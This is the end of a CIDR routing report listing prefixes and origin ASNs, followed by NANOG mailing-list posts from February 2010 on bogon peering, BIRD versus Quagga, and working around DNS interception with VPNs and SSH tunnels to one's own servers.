DNIC-ASBLK-05800-06055 - DoD Network Information Center 199.114.144.0/24 AS6045 DNIC-ASBLK-05800-06055 - DoD Network Information Center 199.114.148.0/24 AS6045 DNIC-ASBLK-05800-06055 - DoD Network Information Center 199.114.150.0/24 AS6045 DNIC-ASBLK-05800-06055 - DoD Network Information Center 199.114.152.0/24 AS27033 DNIC-ASBLK-27032-27159 - DoD Network Information Center 199.114.153.0/24 AS27034 DNIC-ASBLK-27032-27159 - DoD Network Information Center 199.114.154.0/24 AS1733 CENTAF-SWA - 754th Electronic Systems Group 199.114.156.0/24 AS1733 CENTAF-SWA - 754th Electronic Systems Group 199.114.160.0/24 AS1733 CENTAF-SWA - 754th Electronic Systems Group 199.121.0.0/16 AS27064 DNIC-ASBLK-27032-27159 - DoD Network Information Center 199.123.0.0/18 AS27064 DNIC-ASBLK-27032-27159 - DoD Network Information Center 199.123.16.0/20 AS27064 DNIC-ASBLK-27032-27159 - DoD Network Information Center 199.123.80.0/21 AS27064 DNIC-ASBLK-27032-27159 - DoD Network Information Center 199.185.130.0/23 AS19662 UNISERVE-ONLINE - Uniserve On Line 199.202.0.0/16 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 199.202.216.0/21 AS577 BACOM - Bell Canada 199.233.92.0/24 AS26896 D102-ITC - Data 102, LLC 199.246.116.0/24 AS813 UUNET-CANADA - MCI Communications Services, Inc. d/b/a Verizon Business 200.1.112.0/24 AS29754 GO2TEL GO2TEL.COM INC. 200.108.176.0/20 AS14551 UUNET-SA - MCI Communications Services, Inc. d/b/a Verizon Business 202.9.55.0/24 AS2764 AAPT AAPT Limited 202.9.57.0/24 AS2764 AAPT AAPT Limited 202.38.48.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.38.49.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.38.50.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.38.51.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.38.52.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.38.54.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.38.55.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.38.56.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.38.57.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.38.58.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.38.59.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.38.60.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.38.61.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.38.62.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.38.63.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.58.113.0/24 AS19161 202.61.72.0/24 AS9425 CONCENTRIX-PH-AS-AP Concentrix Technologies, Inc 202.61.73.0/24 AS9425 CONCENTRIX-PH-AS-AP Concentrix Technologies, Inc 202.61.75.0/24 AS9927 PHILCOMNET-PH A Multihomed ISP Company 202.66.128.0/18 AS9584 GENESIS-AP Diyixian.com Limited 202.66.184.0/24 AS9584 GENESIS-AP Diyixian.com Limited 202.66.186.0/24 AS9584 GENESIS-AP Diyixian.com Limited 202.66.188.0/24 AS9584 GENESIS-AP Diyixian.com Limited 202.66.189.0/24 AS9584 GENESIS-AP Diyixian.com Limited 202.66.190.0/24 AS9584 GENESIS-AP Diyixian.com Limited 202.73.144.0/20 AS4788 TMNET-AS-AP TM Net, Internet Service Provider 202.79.224.0/21 AS9519 VERTELNET Vertical Telecoms Pty Ltd 202.80.192.0/20 AS2706 PI-HK Pacnet Internet (Hong Kong) Limited 202.86.252.0/22 AS4748 RESOLINK-AS-AP Resources Link Network Limited 202.86.252.0/24 AS9304 HUTCHISON-AS-AP Hutchison Global Communications 202.86.253.0/24 AS9304 HUTCHISON-AS-AP Hutchison Global Communications 202.86.254.0/24 AS9304 HUTCHISON-AS-AP Hutchison Global Communications 202.86.255.0/24 AS9304 HUTCHISON-AS-AP Hutchison Global Communications 202.87.102.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.94.1.0/24 AS4808 CHINA169-BJ CNCGROUP IP network China169 Beijing Province Network 202.133.37.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.133.70.0/24 AS38616 WORLDCALL-AS-KHI Worldcall Telecom Limited 202.133.73.0/24 AS38616 WORLDCALL-AS-KHI Worldcall Telecom Limited 202.136.254.0/24 AS4808 CHINA169-BJ CNCGROUP IP network China169 Beijing Province Network 202.136.255.0/24 AS4808 CHINA169-BJ CNCGROUP IP network China169 Beijing Province Network 202.150.227.0/24 AS17727 NAPINFO-AS-AP PT. NAP Info Lintas Nusa 202.166.160.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.166.161.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.166.162.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.166.163.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.166.164.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.166.165.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.166.166.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.166.169.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.166.171.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.166.172.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.166.175.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.174.70.0/24 AS21175 WIS Wind International Services SA 202.174.125.0/24 AS9498 BBIL-AP BHARTI Airtel Ltd. 202.176.1.0/24 AS9942 COMINDICO-AP SOUL Converged Communications Australia 202.181.32.0/24 AS4645 ASN-HKNET-AP HKNet Co. Ltd 203.12.45.0/24 AS4854 NETSPACE-AS-AP Netspace Online Systems 203.62.0.0/17 AS7575 AARNET-AS-AP Australian Academic and Reasearch Network (AARNet) 203.78.48.0/20 AS9299 IPG-AS-AP Philippine Long Distance Telephone Company 203.80.136.0/21 AS4759 EVOSERVE-AS-AP EvoServe is a content and online access Internet provider company 203.112.111.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.113.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.114.0/24 AS4802 ASN-IINET iiNet Limited 203.112.116.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.117.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.118.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.119.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.120.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.121.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.127.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.128.128.0/24 AS23849 CNNIC-NET263-AP Beijing Capital-online science development Co.,Ltd. 203.142.219.0/24 AS45149 203.189.96.0/20 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 204.9.216.0/23 AS6389 BELLSOUTH-NET-BLK - BellSouth.net Inc. 204.9.218.0/23 AS6389 BELLSOUTH-NET-BLK - BellSouth.net Inc. 204.15.168.0/21 AS46753 TDAMERITRADETRUST - TD Ameritrade Trust 204.15.170.0/24 AS46753 TDAMERITRADETRUST - TD Ameritrade Trust 204.19.14.0/23 AS577 BACOM - Bell Canada 204.89.214.0/24 AS4323 TWTC - tw telecom holdings, inc. 204.197.0.0/16 AS3356 LEVEL3 Level 3 Communications 204.209.114.0/24 AS13768 PEER1 - Peer 1 Network Inc. 205.150.0.0/15 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 205.189.134.0/24 AS11814 CYBERSURF - Cybersurf Inc. 205.210.145.0/24 AS11814 CYBERSURF - Cybersurf Inc. 206.108.96.0/19 AS577 BACOM - Bell Canada 206.128.104.0/21 AS11709 VIC - VIRTUAL INTERACTIVE CENTER 206.180.240.0/20 AS12083 KNOLOGY-NET - Knology Holdings 207.174.0.0/16 AS13790 INTERNAP-BLK3 - Internap Network Services Corporation 207.174.131.0/24 AS26116 INDRA - Indra's Net Inc. 207.174.132.0/23 AS26116 INDRA - Indra's Net Inc. 207.174.152.0/23 AS26116 INDRA - Indra's Net Inc. 207.174.154.0/24 AS26116 INDRA - Indra's Net Inc. 207.174.155.0/24 AS26116 INDRA - Indra's Net Inc. 207.174.188.0/24 AS26116 INDRA - Indra's Net Inc. 207.174.189.0/24 AS26116 INDRA - Indra's Net Inc. 207.174.190.0/24 AS26116 INDRA - Indra's Net Inc. 207.174.191.0/24 AS26116 INDRA - Indra's Net Inc. 207.174.200.0/24 AS22658 EARTHNET - Earthnet, Inc. 207.174.248.0/21 AS6653 PRIVATEI - privateI, LLC 207.231.96.0/19 AS11194 NUNETPA - NuNet Inc. 208.66.152.0/24 AS18499 208.66.153.0/24 AS18499 208.66.154.0/24 AS18499 208.66.155.0/24 AS18499 208.66.156.0/24 AS18499 208.66.157.0/24 AS18499 208.66.158.0/24 AS18499 208.66.159.0/24 AS18499 208.73.4.0/22 AS27630 PREMIER - Premier Innovations, LLC 208.77.224.0/22 AS174 COGENT Cogent/PSI 208.77.229.0/24 AS174 COGENT Cogent/PSI 208.77.230.0/23 AS174 COGENT Cogent/PSI 208.78.164.0/24 AS16565 208.78.165.0/24 AS16565 208.78.167.0/24 AS16565 209.54.123.0/24 AS6062 NETPLEX - NETPLEX 209.87.208.0/24 AS31997 209.87.209.0/24 AS31997 209.87.210.0/24 AS31997 209.87.211.0/24 AS31997 209.87.212.0/22 AS31997 209.87.216.0/24 AS31997 209.87.217.0/24 AS31997 209.87.218.0/24 AS31997 209.87.219.0/24 AS31997 209.87.220.0/24 AS31997 209.87.221.0/24 AS31997 209.87.222.0/23 AS31997 209.105.224.0/19 AS20074 209.140.90.0/24 AS14461 NTSL - NET SOLUTIONS 209.141.48.0/22 AS14461 NTSL - NET SOLUTIONS 209.177.160.0/24 AS18499 209.177.161.0/24 AS18499 209.177.162.0/24 AS18499 209.177.163.0/24 AS18499 209.177.164.0/24 AS18499 209.177.165.0/24 AS18499 209.177.166.0/24 AS18499 209.177.167.0/24 AS18499 209.177.168.0/24 AS18499 209.177.169.0/24 AS18499 209.177.170.0/24 AS18499 209.177.171.0/24 AS18499 209.177.172.0/24 AS18499 209.177.173.0/24 AS18499 209.177.174.0/24 AS18499 209.177.175.0/24 AS18499 209.213.0.0/20 AS33005 ELTOPIA - Eltopia.com, LLC 209.213.1.0/24 AS7849 CROCKERCOM - CROCKER COMMUNICATIONS 209.213.4.0/24 AS7849 CROCKERCOM - CROCKER COMMUNICATIONS 210.5.128.0/20 AS4837 CHINA169-BACKBONE CNCGROUP China169 Backbone 210.56.150.0/23 AS38138 INTECH-TRANSIT-BD InTech Online Limited, INTERNET SERVICE LIMITED 210.247.224.0/19 AS7496 WEBCENTRAL-AS WebCentral 213.150.96.0/21 AS25568 KENYAWEB-AS Kenyaweb.com, Nairobi Kenya 213.150.104.0/22 AS25568 KENYAWEB-AS Kenyaweb.com, Nairobi Kenya 213.150.112.0/22 AS25568 KENYAWEB-AS Kenyaweb.com, Nairobi Kenya 216.21.196.0/24 AS12251 INVISION - Invision.com, Inc. 216.21.201.0/24 AS12251 INVISION - Invision.com, Inc. 216.21.202.0/24 AS12251 INVISION - Invision.com, Inc. 216.21.206.0/23 AS12251 INVISION - Invision.com, Inc. 216.58.192.0/24 AS22702 X5SOLUTIONS - X5 Solutions, Inc. 216.58.197.0/24 AS22702 X5SOLUTIONS - X5 Solutions, Inc. 216.58.200.0/24 AS18530 ISOMEDIA-1 - Isomedia Inc. 216.144.240.0/23 AS11351 RR-NYSREGION-ASN-01 - Road Runner HoldCo LLC 216.144.243.0/24 AS11351 RR-NYSREGION-ASN-01 - Road Runner HoldCo LLC 216.144.244.0/22 AS11351 RR-NYSREGION-ASN-01 - Road Runner HoldCo LLC 216.163.144.0/20 AS35985 ONERINGNET-ATL-1 - One Ring Networks, Inc. 216.172.198.0/24 AS22773 ASN-CXA-ALL-CCI-22773-RDC - Cox Communications Inc. 216.172.199.0/24 AS22773 ASN-CXA-ALL-CCI-22773-RDC - Cox Communications Inc. 216.250.112.0/20 AS7296 ALCHEMYNET - Alchemy Communications, Inc. 216.250.116.0/24 AS36066 UNI-MARKETING-ALLIANCE - Webhost4life.com 216.251.207.0/24 AS1239 SPRINTLINK - Sprint 217.29.208.0/23 AS33774 DJAWEB 217.29.212.0/23 AS33774 DJAWEB Please see http://www.cidr-report.org for the full report ------------------------------------ Copies of this report are mailed to: nanog at merit.edu eof-list at ripe.net apops at apops.net routing-wg at ripe.net afnog at afnog.org From sethm at rollernet.us Fri Feb 12 16:09:58 2010 From: sethm at rollernet.us (Seth Mattinen) Date: Fri, 12 Feb 2010 14:09:58 -0800 Subject: CYMRU Bogon Peering In-Reply-To: <4B75CC7E.4010908@cymru.com> References: <680a83091002121255l3044db2aq69c6fb778a81c416@mail.gmail.com> <4B75CC7E.4010908@cymru.com> Message-ID: <4B75D1B6.8010609@rollernet.us> On 2/12/2010 13:47, Tim Wilde wrote: > On 2/12/2010 4:21 PM, Mr. James W. Laferriere wrote: >> I've a question for the CYMRU Team , My reasoning for posting here >> is to get a much wide knowledge base . > >> Does or Is the 'Bogon Peering' Product(?) , Only at the IANA->RIR >> allocations level ? F.E.: IANA has allocated 1.0.0.0/8 to RIPE . > >> Or > >> Does the product also include the actual remaining non-allocated >> space at the RIR->EU level ? (**) F.E: RIPE has allocated 1.0.1.0/24 >> to anubusstupidity, inc. > > Jim & All, > > The current bogon reference projects we have available only include the > first of your examples - netblocks which have not been allocated by IANA > to an RIR. However, we are currently in a beta testing phase of a > similar feed which also includes netblocks that have not yet been > allocated or assigned by the RIRs. We will also be offering the same > type of bogon feed for IPv6, something we've been asked about quite a > bit recently! > While I have your attention, I've noticed there's been a bit of instability lately with the BGP sessions (in fact one of mine right now is down). With 30 routes it's not a big deal to have frequent churn, but if you're going to expand that to a larger feed then it could become a problem. ~Seth From randy at psg.com Fri Feb 12 16:15:02 2010 From: randy at psg.com (Randy Bush) Date: Sat, 13 Feb 2010 06:15:02 +0800 Subject: dns interceptors Message-ID: i just lost ten minutes debugging what i thought was a server problem which turned out to be a dns trapper on the wireless in the changi sats lounge. this is not the first time i have been caught by this. what are other roaming folk doing about this? randy From jmamodio at gmail.com Fri Feb 12 16:29:00 2010 From: jmamodio at gmail.com (Jorge Amodio) Date: Fri, 12 Feb 2010 16:29:00 -0600 Subject: Ready to get your federal computer license? In-Reply-To: <313b48d1002121017q39e20009w407862da9fd01040@mail.gmail.com> References: <81CDFC77FB2DC54DB875D4F8FFC36CE00A923B797E@DSMAIL2HE.ds.ad.adp.com> <5E9C4E81-05BA-42F4-996B-F5BE79F8FEB4@jsyoung.net> <200908301938220.6B95064B.8300@clifden.donelan.com> <20090830201111.03018727@cs.columbia.edu> <4A9B3387.7020801@nic-naa.net> <20090830222829.49286bfc@cs.columbia.edu> <443de7ad0908310857h5474a4dh8b4b1a8212297f8b@mail.gmail.com> <313b48d1002121017q39e20009w407862da9fd01040@mail.gmail.com> Message-ID: <202705b1002121429n551b69f2mddd926d91f83613c@mail.gmail.com> >> "A journey of a thousand miles begins with a single step." Absolutely true, but many folks from the technical side are sick tired trying to talk to people that "hear" but do not "listen" and dealing with others that have nothing else to contribute than their selfish interests or the interests of the corporation backing them. Unfortunately many organizations including ISOC lost their appeal and mission, and in many cases is just a platform to self promote particular individuals. Have a great weekend and happy chocolate in heart shape day. Cheers Jorge From jared at puck.nether.net Fri Feb 12 16:32:33 2010 From: jared at puck.nether.net (Jared Mauch) Date: Fri, 12 Feb 2010 17:32:33 -0500 Subject: dns interceptors In-Reply-To: References: Message-ID: <655DABFD-EE56-4D7D-8987-7A03AE3FE5DB@puck.nether.net> On Feb 12, 2010, at 5:15 PM, Randy Bush wrote: > i just lost ten minutes debugging what i thought was a server problem > which turned out to be a dns trapper on the wireless in the changi sats > lounge. this is not the first time i have been caught by this. > > what are other roaming folk doing about this? > > randy I typically VPN out of broken networks whenever possible. Operate a VPN/PPTP/IPSEC/squid-proxy/ssh on tcp/80/443 to work around the issues. - Jared From weaselkeeper at gmail.com Fri Feb 12 16:35:29 2010 From: weaselkeeper at gmail.com (Jim Richardson) Date: Fri, 12 Feb 2010 14:35:29 -0800 Subject: dns interceptors In-Reply-To: References: Message-ID: <7f17308a1002121435p6b4efd66nedb7d4f16e1dcf77@mail.gmail.com> On Fri, Feb 12, 2010 at 2:15 PM, Randy Bush wrote: > i just lost ten minutes debugging what i thought was a server problem > which turned out to be a dns trapper on the wireless in the changi sats > lounge. ?this is not the first time i have been caught by this. > > what are other roaming folk doing about this? > > randy > > ssh tunnels to IP address -- http://neon-buddha.net From jfried at deloitte.com Fri Feb 12 16:35:37 2010 From: jfried at deloitte.com (Fried, Jason (US - Hattiesburg)) Date: Fri, 12 Feb 2010 16:35:37 -0600 Subject: BIRD vs Quagga In-Reply-To: <2ad0f9f61002111005s42d62754k4f4248e7849567be@mail.gmail.com> References: <01759D50DC387C45A018FE1817CE27D7578FFABD64@CPExchange1.cpgreeley.com><1265876602.17526.1.camel@petrie.dereferenced.org> <2ad0f9f61002111005s42d62754k4f4248e7849567be@mail.gmail.com> Message-ID: <9963A3ED609CA0478546F3814FE42BD3179F3464F9@uscnt1405.us.deloitte.com> I was wondering what kind of experience the nanog userbase has had with these two packages. Thanks -- Jason Fried This message (including any attachments) contains confidential information intended for a specific individual and purpose, and is protected by law. If you are not the intended recipient, you should delete this message. Any disclosure, copying, or distribution of this message, or the taking of any action based on it, is strictly prohibited. [v.E.1] From jared at puck.nether.net Fri Feb 12 16:36:26 2010 From: jared at puck.nether.net (Jared Mauch) Date: Fri, 12 Feb 2010 17:36:26 -0500 Subject: Google to offer fiber to end users In-Reply-To: <4B75B751.80400@bogus.com> References: <6eb799ab1002101708l8fa1bebx392dfb362b1c7564@mail.gmail.com> <4B75B751.80400@bogus.com> Message-ID: <0047C396-B276-4356-B6EF-1A7D93F0AD0A@puck.nether.net> On Feb 12, 2010, at 3:17 PM, Joel Jaeggli wrote: > BCP 38 is all fine and dandy, and you should implement it, but it's not > going to stop the botnets. Yup. Many have these devices they call "Routers" they buy locally that translate spoofed addresses to some well-known outside "public" IP. (They may well still emit "spoofed garbage" but typically for another reason). - Jared From steve at ibctech.ca Fri Feb 12 16:51:41 2010 From: steve at ibctech.ca (Steve Bertrand) Date: Fri, 12 Feb 2010 17:51:41 -0500 Subject: BIRD vs Quagga In-Reply-To: <9963A3ED609CA0478546F3814FE42BD3179F3464F9@uscnt1405.us.deloitte.com> References: <01759D50DC387C45A018FE1817CE27D7578FFABD64@CPExchange1.cpgreeley.com><1265876602.17526.1.camel@petrie.dereferenced.org> <2ad0f9f61002111005s42d62754k4f4248e7849567be@mail.gmail.com> <9963A3ED609CA0478546F3814FE42BD3179F3464F9@uscnt1405.us.deloitte.com> Message-ID: <4B75DB7D.9070308@ibctech.ca> Fried, Jason (US - Hattiesburg) wrote: > I was wondering what kind of experience the nanog userbase has had with these two packages. Quagga++. I've never tried the other. I use Quagga for OSPF, OSPFv3 and BGP (IPv4 and IPv6). With a bit of trickery, it fits in nicely with my RANCID setup, and what I like best is that it (mostly) follows Cisco's command convention. There are also very active developer and user mailing lists. For the most part, I wouldn't know if I was writing a config for a Cisco or for a Quagga box. fwiw, I've also heard good things about bgpd(8) and ospfd(8), but I haven't tried those either...zebra/Quagga just stuck. Steve From nick at foobar.org Fri Feb 12 16:52:02 2010 From: nick at foobar.org (Nick Hilliard) Date: Fri, 12 Feb 2010 22:52:02 +0000 Subject: CYMRU Bogon Peering In-Reply-To: References: <680a83091002121255l3044db2aq69c6fb778a81c416@mail.gmail.com> Message-ID: <4B75DB92.1050403@foobar.org> On 12/02/2010 21:21, Mr. James W. Laferriere wrote: > ps: I am Very well aware that (so far) there is no standard format > for returned requests from *whois daemons . eh, what are you talking about? If you want to prefix-filter your bgp feeds using RPSL objects, you can pull the "fltr-bogons" object from RADB or the RIPE IRRDB (which both return objects in a standard format). Nick From steve at ibctech.ca Fri Feb 12 17:03:12 2010 From: steve at ibctech.ca (Steve Bertrand) Date: Fri, 12 Feb 2010 18:03:12 -0500 Subject: CYMRU Bogon Peering In-Reply-To: <4B75D1B6.8010609@rollernet.us> References: <680a83091002121255l3044db2aq69c6fb778a81c416@mail.gmail.com> <4B75CC7E.4010908@cymru.com> <4B75D1B6.8010609@rollernet.us> Message-ID: <4B75DE30.9020400@ibctech.ca> Seth Mattinen wrote: > On 2/12/2010 13:47, Tim Wilde wrote: >> On 2/12/2010 4:21 PM, Mr. James W. Laferriere wrote: >>> I've a question for the CYMRU Team , My reasoning for posting here >>> is to get a much wide knowledge base . >>> Does or Is the 'Bogon Peering' Product(?) , Only at the IANA->RIR >>> allocations level ? F.E.: IANA has allocated 1.0.0.0/8 to RIPE . >>> Or >>> Does the product also include the actual remaining non-allocated >>> space at the RIR->EU level ? (**) F.E: RIPE has allocated 1.0.1.0/24 >>> to anubusstupidity, inc. >> Jim & All, >> >> The current bogon reference projects we have available only include the >> first of your examples - netblocks which have not been allocated by IANA >> to an RIR. However, we are currently in a beta testing phase of a >> similar feed which also includes netblocks that have not yet been >> allocated or assigned by the RIRs. We will also be offering the same >> type of bogon feed for IPv6, something we've been asked about quite a >> bit recently! >> > > While I have your attention, I've noticed there's been a bit of > instability lately with the BGP sessions (in fact one of mine right now > is down). With 30 routes it's not a big deal to have frequent churn, but > if you're going to expand that to a larger feed then it could become a > problem. What time frame do you determine to be instability? The following is from a box that has ~25 neighbours. Since the box was reloaded (6w3d ago), I've had the same uptime with the Team Cymru neighbours as I do with internal gear. I can't say that I've experienced any instability at all. It is not uncommon for me to have noticed uptimes well beyond 30w. trig-2#sh ip bgp sum Neighbor V AS MsgRcvd MsgSent TblVer InQ OutQ Up/Down State/PfxRcd 68.22.187.24 4 65333 81750 65849 67 0 0 6w3d 30 216.165.129.196 4 65333 81748 65849 67 0 0 6w3d 30 trig-2#sh ip bgp nei 68.22.187.24 Prefix activity: ---- ---- Prefixes Current: 0 30 (Consumes 1560 bytes) Prefixes Total: 0 36 Implicit Withdraw: 0 0 Explicit Withdraw: 0 6 ...snip... Connections established 1; dropped 0 Last reset never Steve From steve at ibctech.ca Fri Feb 12 17:15:25 2010 From: steve at ibctech.ca (Steve Bertrand) Date: Fri, 12 Feb 2010 18:15:25 -0500 Subject: dns interceptors In-Reply-To: <655DABFD-EE56-4D7D-8987-7A03AE3FE5DB@puck.nether.net> References: <655DABFD-EE56-4D7D-8987-7A03AE3FE5DB@puck.nether.net> Message-ID: <4B75E10D.8020601@ibctech.ca> Jared Mauch wrote: > On Feb 12, 2010, at 5:15 PM, Randy Bush wrote: > >> i just lost ten minutes debugging what i thought was a server problem >> which turned out to be a dns trapper on the wireless in the changi sats >> lounge. this is not the first time i have been caught by this. >> >> what are other roaming folk doing about this? >> >> randy > > I typically VPN out of broken networks whenever possible. > > Operate a VPN/PPTP/IPSEC/squid-proxy/ssh on tcp/80/443 to work around the issues. Yep... On Windows laptop, a wrapper .bat sets up Putty (SSH) to configure a tunnel to a remote server, and for FBSD, an sh script with the SSH command line within. Depending on the situation, the tunnel may handle all core protocols, even 587 when it has been hijacked/blocked. Steve From thomas.mangin at exa-networks.co.uk Fri Feb 12 18:12:57 2010 From: thomas.mangin at exa-networks.co.uk (Thomas Mangin) Date: Sat, 13 Feb 2010 00:12:57 +0000 Subject: BIRD vs Quagga In-Reply-To: <4B75DB7D.9070308@ibctech.ca> References: <01759D50DC387C45A018FE1817CE27D7578FFABD64@CPExchange1.cpgreeley.com><1265876602.17526.1.camel@petrie.dereferenced.org> <2ad0f9f61002111005s42d62754k4f4248e7849567be@mail.gmail.com> <9963A3ED609CA0478546F3814FE42BD3179F3464F9@uscnt1405.us.deloitte.com> <4B75DB7D.9070308@ibctech.ca> Message-ID: http://www.uknof.org.uk/uknof15/ Has quite a few talk about Quagga/Bird as they are used as route servers in Europe. For a route server use, BGP under very high number of peers, it seems bird now behave better than anything else. so for "normal" use, it would seems that whatever you pick will work but quagga is surely the most deployed. Thomas On 12 Feb 2010, at 22:51, Steve Bertrand wrote: > Fried, Jason (US - Hattiesburg) wrote: >> I was wondering what kind of experience the nanog userbase has had with these two packages. > > Quagga++. > > I've never tried the other. > > I use Quagga for OSPF, OSPFv3 and BGP (IPv4 and IPv6). With a bit of > trickery, it fits in nicely with my RANCID setup, and what I like best > is that it (mostly) follows Cisco's command convention. > > There are also very active developer and user mailing lists. > > For the most part, I wouldn't know if I was writing a config for a Cisco > or for a Quagga box. > > fwiw, I've also heard good things about bgpd(8) and ospfd(8), but I > haven't tried those either...zebra/Quagga just stuck. > > Steve > > From oberman at es.net Fri Feb 12 18:13:02 2010 From: oberman at es.net (Kevin Oberman) Date: Fri, 12 Feb 2010 16:13:02 -0800 Subject: BIRD vs Quagga In-Reply-To: Your message of "Fri, 12 Feb 2010 16:35:37 CST." <9963A3ED609CA0478546F3814FE42BD3179F3464F9@uscnt1405.us.deloitte.com> Message-ID: <20100213001302.CC4041CC09@ptavv.es.net> There will be a presentation comparing BIRD with Quagga at NANOG week after next in Austin. II believe it will be a part of the Route Servers Track on Monday afternoon. -- R. Kevin Oberman, Network Engineer Energy Sciences Network (ESnet) Ernest O. Lawrence Berkeley National Laboratory (Berkeley Lab) E-mail: oberman at es.net Phone: +1 510 486-8634 Key fingerprint:059B 2DDF 031C 9BA3 14A4 EADA 927D EBB3 987B 3751 From steve at ibctech.ca Fri Feb 12 18:15:25 2010 From: steve at ibctech.ca (Steve Bertrand) Date: Fri, 12 Feb 2010 19:15:25 -0500 Subject: dns interceptors In-Reply-To: <7f17308a1002121435p6b4efd66nedb7d4f16e1dcf77@mail.gmail.com> References: <7f17308a1002121435p6b4efd66nedb7d4f16e1dcf77@mail.gmail.com> Message-ID: <4B75EF1D.4090205@ibctech.ca> Jim Richardson wrote: > On Fri, Feb 12, 2010 at 2:15 PM, Randy Bush wrote: >> i just lost ten minutes debugging what i thought was a server problem >> which turned out to be a dns trapper on the wireless in the changi sats >> lounge. this is not the first time i have been caught by this. >> >> what are other roaming folk doing about this? >> >> randy >> >> > > ssh tunnels to IP address I sent this directly to Randy, but perhaps there are others who are interested in doing this as well. For the archives (and my own documentation): My DNS server doesn't listen on localhost (a prereq), so I'll use submit port instead: # on the roaming laptop (hereinafter 'client') # -f == run in background # steve at host is the submit server # -L means map this port "587:" to "remote-host:port" # -N means do not execute remote command client# ssh -f steve at 208.70.104.210 -L 587:208.70.104.210:587 -N ...now I tell my local resolver (or in this case, my MUA) to use localhost instead of the normal remote host. Note that I generally use the standard ports on my localhost for this mapping. Doing so will not work for things like HTTP etc, as we are focused squarely on accessing resources located on our own equipment... ...SSH tunnelling even works over v6. The colon-separated address isn't handled well within the port-mapping portion of the command, so we'll use names instead: pearl# dig aaaa smtp.ibctech.ca smtp.ibctech.ca. 3598 IN AAAA 2607:f118::b6 ... client# ssh -6 -f steve at smtp.ibctech.ca -L 587:smtp.ibctech.ca:587 -N server# tcpdump -n -i lo0 port 587 client# telnet ::1 587 Trying ::1... Connected to localhost. Escape character is '^]'. 220 smtp.ibctech.ca ESMTP server# tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on lo0, link-type NULL (BSD loopback), capture size 96 bytes 19:01:20.529444 IP6 2607:f118::b6.59842 > 2607:f118::b6.587: S 4152936854:4152936854(0) win 65535 19:01:20.529497 IP6 2607:f118::b6.587 > 2607:f118::b6.59842: S 3425118408:3425118408(0) ack 4152936855 win 65535 19:01:20.529532 IP6 2607:f118::b6.59842 > 2607:f118::b6.587: . ack 1 win 8211 19:01:20.535727 IP6 2607:f118::b6.587 > 2607:f118::b6.59842: P 1:28(27) ack 1 win 8211 19:01:20.635335 IP6 2607:f118::b6.59842 > 2607:f118::b6.587: . ack 28 win 8211 ...I love easy workarounds. I got sick and tired of fscking around a long time ago with troubleshooting blocked/hijacked ports, so I thought I'd bypass the problem by hijacking and re-routing the ports myself. Port tunnelling like this is my default whenever I'm not at home. Even on Windows its easy...all my apps are portable. Steve From Billt at Mahagonny.com Fri Feb 12 18:52:28 2010 From: Billt at Mahagonny.com (Bill Thompson) Date: Fri, 12 Feb 2010 16:52:28 -0800 Subject: dns interceptors In-Reply-To: <655DABFD-EE56-4D7D-8987-7A03AE3FE5DB@puck.nether.net> References: <655DABFD-EE56-4D7D-8987-7A03AE3FE5DB@puck.nether.net> Message-ID: <20100212165228.359b0211@bebop.mahagonny.com> On Fri, 12 Feb 2010 17:32:33 -0500 Jared Mauch wrote: > > On Feb 12, 2010, at 5:15 PM, Randy Bush wrote: > > > i just lost ten minutes debugging what i thought was a server > > problem which turned out to be a dns trapper on the wireless in the > > changi sats lounge. this is not the first time i have been caught > > by this. > > > > what are other roaming folk doing about this? > > > > randy > > I typically VPN out of broken networks whenever possible. > > Operate a VPN/PPTP/IPSEC/squid-proxy/ssh on tcp/80/443 to work around > 